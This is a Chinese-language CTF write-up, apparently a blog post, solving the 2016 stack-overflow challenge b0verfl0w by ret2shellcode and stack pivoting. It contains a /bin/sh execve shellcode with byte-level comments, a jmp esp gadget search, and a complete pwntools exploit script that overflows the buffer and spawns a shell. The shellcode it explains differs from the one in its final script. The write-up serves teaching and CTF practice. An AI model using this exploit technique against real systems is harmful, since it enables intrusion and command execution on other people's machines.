最近笔者开始钻研pwn的一些知识,发现栈溢出真的非常的有意思,于是经过一个多礼拜的学习,终于是把2016年的一道CTF题给看明白了了,首先我们学习一下前置技能
0x01 shellcode
首先简单看一下shellcode是怎么生成的,首先简单看一下shellcode是怎么生成的,使用python3环境生成一个shellcode,如下所示
from pwn import *
shellcode=shellcraft.amd64.sh()
print(shellcode)
把他转换成机器码
context.arch = 'amd64'
asm(shellcode)
0x02 解题原理
ret2shellcode
原理:
劫持栈指针指向攻击者所能控制的内存处,然后在相应的位置进行 ROP。
在哪些情况可以使用劫持栈指针的方式进行攻击?
1. 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
2. 开启了 PIE 保护,栈地址未知
使用条件
利用 stack pivoting 有以下几个要求
可以控制程序执行流。
可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets (jmp esp)
0x03 解题步骤
首先查看程序基本信息
checksec b0verfl0w
程序其实没开什么防护,架构是i386-32架构的;使用ida查看程序
溢出点出现在_fgets函数中,其中用户输入的数据被读入到一个大小为32字节(0x20)的缓冲区,而没有进行边界检查。
程序自身限定了50个字节(0x32)的长度范围,所以溢出的字节数为0x32 - 0x20 - 0x4 = 14字节。(0x04是因为在32位系统中ebp类型的大小为4字节)
布置 payload 如下
shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp
Shellcode(代码注入):Shellcode 是一段用于利用计算机系统漏洞、以获取系统控制权的机器码。常用于编写恶意软件或执行渗透测试。
Padding(填充):填充通常指向一个操作系统或应用程序的缓冲区溢出攻击,攻击者会在输入数据中添加足够数量的无关数据来覆盖目标内存区域。
Fake EBP(伪EBP):EBP(Extended Base Pointer)是x86体系结构中的一种寄存器,用于指向当前函数的堆栈帧。"Fake EBP"可能指的是在堆栈上创建一个伪造的EBP值,以便欺骗程序流程或隐藏攻击的痕迹。
0x08048504:这是一个具体的内存地址,在这里就是gadgets 的地址。
Set ESP point to shellcode and jmp ESP(设置ESP指向shellcode并跳转到ESP):ESP(Extended Stack Pointer)是x86体系结构中的另一个寄存器,用于指向当前堆栈顶部。这个步骤意味着将ESP设置为shellcode所在的内存位置,并通过跳转指令(jmp)将程序流程转移到该位置,以执行shellcode。
那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道
size(shellcode+padding)=0x20
size(fake ebp)=0x4
size(0x08048504)=0x4
寻找jmp esp地址
ROPgadget --binary '/home/root1/桌 面/b0verfl0w' --only jmp
所以我们最后一段需要执行的指令就是
sub esp,0x28
jmp esp
我们本次使用的shellcode为25字节,padding为7字节,Fake EBP长度为4字节(真实的 EBP 是 x86 架构中堆栈帧的一部分,它用于指向当前函数的基址。对于大多数 32 位系统,EBP 寄存器的大小为 4 字节,而在 64 位系统上,EBP 寄存器的大小为 8 字节),0x08048504为4字节的内存地址 ,所以无论如何计算加一起都是40字节,或许我们可以利用gdb进行调试
payload是自己在: https://www.exploit-db.com/shellcodes/47513
搜的,找一个长度小于32的应该是都行,当然越短越好
\x31\xc9 # xor ecx,ecx 清除ECX寄存器(将其设置为零)
\xf7\xe1 # mul ecx 将EDX:EAX寄存器对设置为零
\x51 # push ecx 将0x0(null)推送到堆栈上
\x68\x2f\x2f\x73 # push 0x732f2f 将“//sh”推到堆栈上
\x68\x2f\x62\x69\x6e # push 0x6e69622f 将“/bin”推到堆栈上
\x89\xe3 # mov ebx,esp 将堆栈顶部的地址(包含字符串“/bin//sh”)移动到EBX中
\xb0\x0b # mov al,0xb 将值0xb(11)移到AL中,表示执行系统调用号
\xcd\x80 # int 0x80 触发软件中断以调用内核并执行系统调用
上述汇编指令使用了 Linux 系统调用来执行一个系统调用,具体进行的操作是执行 /bin/sh,也就是一个 Shell
完整的exp如下:
from pwn import *:导入pwntools库,这是一个强大的工具集,用于编写和执行二进制漏洞利用脚本。
s = process("./b0verfl0w"):创建一个名为s的新进程,该进程将执行名为b0verfl0w的可执行文件。
gdb.attach(s,"b *0x080485A0\nc"):使用GDB调试器附加到进程s上,并在地址0x080485A0处设置一个断点,然后继续执行程序。(断点可以自己调试)
jmp_esp = 0x08048504:定义变量jmp_esp为地址0x08048504,该地址是一个jmp esp指令的位置,我们将在后面用于修改程序流程。
payload = '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80':定义变量payload为一段shellcode,它将以后面的方式注入到目标程序中。
sub_esp_jmp = asm('sub esp, 0x28;jmp esp'):使用pwntools的asm函数将汇编指令sub esp, 0x28;jmp esp转换为二进制形式,并将结果赋给变量sub_esp_jmp。这段汇编代码的作用是将栈指针向下调整0x28个字节,然后跳转到当前栈指针的位置,实现对栈上的攻击载荷执行的控制。
print(len(payload)):打印变量payload的长度,以便我们知道需要填充多少字节才能覆盖目标程序中的返回地址。
payload=payload + (0x20 - len(payload)) *'A' + 'AAAA' + p32(jmp_esp) + sub_esp_jmp:构造完整的攻击载荷。首先将之前定义的shellcode添加到载荷中,然后使用'A'字符填充剩余的空间,直到填满32个字节(0x20)。接下来,加入4个'A'和一个little-endian格式的jmp_esp地址,用于覆盖返回地址。最后,将之前转换得到的sub_esp_jmp添加到载荷的末尾,以在目标程序中执行栈上的操作。
s.sendline(payload):将构造好的攻击载荷发送给目标程序。
s.interactive():切换到交互模式,使我们可以与目标程序进行交互,例如输入命令或查看输出。